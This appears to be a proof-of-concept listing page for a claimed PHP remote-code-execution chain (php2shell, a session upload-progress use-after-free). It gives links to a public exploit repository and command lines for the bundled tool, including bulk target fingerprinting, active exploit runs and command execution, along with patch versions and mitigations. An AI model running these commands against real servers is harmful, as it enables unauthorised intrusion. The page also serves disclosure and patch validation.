CVE-2026-109618 / CVE-2026-109619 — PHP php2shell (session.upload_progress UAF)

October 21, 2026 · 2,167 views

PHP core php2shell pair: session.upload_progress multipart timing UAF (618 trigger + 619 offset RCE). CVSS 9.2. Python stdlib PoC: check GET fingerprint + bulk JSONL; exploit smart 618 multi-path or 619 --call. Patch 8.2.35/8.3.36/8.4.27/8.5.12+.

#php#php-core#php2shell#session-upload-progress#uaf#deserialization#rce#critical#cve-2026-109619

CVE:

CVE-2026-109618

Date:

2026-10-21

Severity:

CRITICAL

Exploit source

Full PoC repository on GitHub (public).

Description

Overview

CVE-2026-109618 and CVE-2026-109619 — PHP core — session.upload_progress multipart timing / use-after-free research chain (php2shell). Vendor-rated CVSS 9.2 Critical. This repository provides passive fingerprinting (check) and active trigger tests (exploit) — banner match alone does not prove remote RCE without lab --monitor or build-specific 619 offsets.

| | | |---|---| | Research name | php2shell | | Fixed (emergency) | 8.2.35, 8.3.36, 8.4.27, 8.5.12+ (supported branches) | | Check | GET only — X-Powered-By / body PHP/x.y.z banner | | Exploit 618 | Smart multi-path multipart stall / micro / inject | | Exploit 619 | Requires --call (zend_call_function offset) — not portable |

PoC page: https://pocbit.org/pocs/cve-2026-109618

GitHub: murrez/php2shell

CVE.org: CVE-2026-109618 · CVE-2026-109619

Bundled tool (Python 3.8+, stdlib only)

Download cve-2026-109618.py — writes poc.py, php2shell_core.py, php2shell_exploit.py, EXPLOIT.md, tests/.

python cve-2026-109618.py

python poc.py check https://example.com/index.php
python poc.py check -f targets.example.txt -o results.jsonl --workers 16

python poc.py exploit http://127.0.0.1:19268/index.php --monitor --stall 1.5
python poc.py exploit https://target.example/ -o one-host.json

python poc.py exploit https://127.0.0.1/index.php --chain 619 --call 0xYOUR_ADDR --command "id" --expect "uid="
python -m unittest discover -s tests -v

Exploit verdicts: armed (lab monitor), session_fixation, upload_accepted, inconclusive, rce_hit (619 + marker). See EXPLOIT.md in bundle.

Mitigation

Patch PHP to emergency fixed builds on your branch.
session.upload_progress.enabled = Off — partial mitigation; patch remains primary.
Wide inventory: use check only; keep exploit lists small (many POSTs per host in smart mode).

Legal and ethical use

Authorized security research and patch validation only.